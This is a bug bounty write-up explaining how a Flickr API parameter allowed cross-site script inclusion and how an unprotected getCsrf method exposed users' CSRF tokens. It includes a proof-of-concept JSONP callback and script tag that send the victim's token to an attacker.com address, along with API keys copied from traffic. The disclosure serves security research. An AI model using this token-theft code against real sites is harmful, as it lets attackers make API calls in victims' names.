Backdoor of All Flickr API Calls by XSSI

After reporting the Flickr ATO fix bypass, I left Flickr for a few days and go hunt after Uber. I keep changing the target from time to time when I get bored of the target.

When I get back to Flickr, same sort of request keep appearing in the traffic.

https://api.flickr.com/services/rest?page=1&per_page=6&sample_photos_count=8&viewerNSID=67364537%40N02&method=flickr.groups.recommendations&csrf=1502485507%3Ahzg1234451c92j4i%3A285a4685e2ebc8d7a4b4555a54d77395&api_key=b0faaf195123123cf44a4a14e9dabf&format=json&hermes=1&hermesClient=1&reqId=75e70106&nojsoncallback=1

If you have hunted after Flickr, this request should be familiar to you. Two parameters that got my attention, format, and nojsoncallback

Why? Because seems like we can control the response format, if somehow we can change the format from JSON to XML, or HTML, or JSONP. Then we can further investigate for XSS or XSSI. (I assume readers know what XSSI is, if you don’t know, don’t worry, I don’t know about XSSI until I saw Google Bughunter University)

I change the parameter nojsoncallback=1 to nojsoncallback=0, the response is really what I have expected.

jsonFlickrApi({"groups":{"page":1,"pages":17,"perpage":6,"total":100,"group":[{"nsid":"42097308@N00","name":"Less Is More..."......})

This is obviously an XSSI, but it seems there is a few protection in place that prevent the XSSI attack, they are api_key and csrf.

Soon I find out the api_key is used universally, not bounded to any user session. Only obstacle left for the XSSI is csrf.

I need to dig deeper to see where does this csrf come from. I scroll through the Burp traffic and finally, I saw a request, and the method name of the requset is just amazing

https://api.flickr.com/services/rest?method=flickr.site.getCsrf&csrf=a&api_key=3b5d2007fe2f131c60ae514fb65221b4&format=json&hermes=1&hermesClient=1&reqId=&nojsoncallback=0a

The method name is flickr.site.getCsrf, wait, how do we get a csrf token WITHOUT a csrf token? It turns out indeed the user does not need any csrf token to get a csrf token. (Take some time to understand the sentence)

Now we can have a complete PoC.

First, attacker trick victim to visit a malicious site, that host a script to obtain the victim’s csrf token with this script.

 function jsonFlickrApi(a){
 var b = a['token']['_content'];
 location.href="http://attacker.com/csrf_flickr2.php?token=" + b;
}

< script src=https://api.flickr.com/services/rest?method=flickr.site.getCsrf&csrf=a&api_key=3b5d2007fe2f131c60ae514fb65221b4&format=json&hermes=1&hermesClient=1&reqId=&nojsoncallback=0 > < /script >

Attacker now have the victim’s csrf token, meaning a free ticket to all of victim’s API calls, now he can just issue any API calls on victim’s behalf since the only protection against XSSI of Flickr API calls is csrf token, and now it’s in attacker’s hand, game over for victim.

Hope you like this, next write up is also about Flickr Account Takeover, stay tuned.

Reward: 7k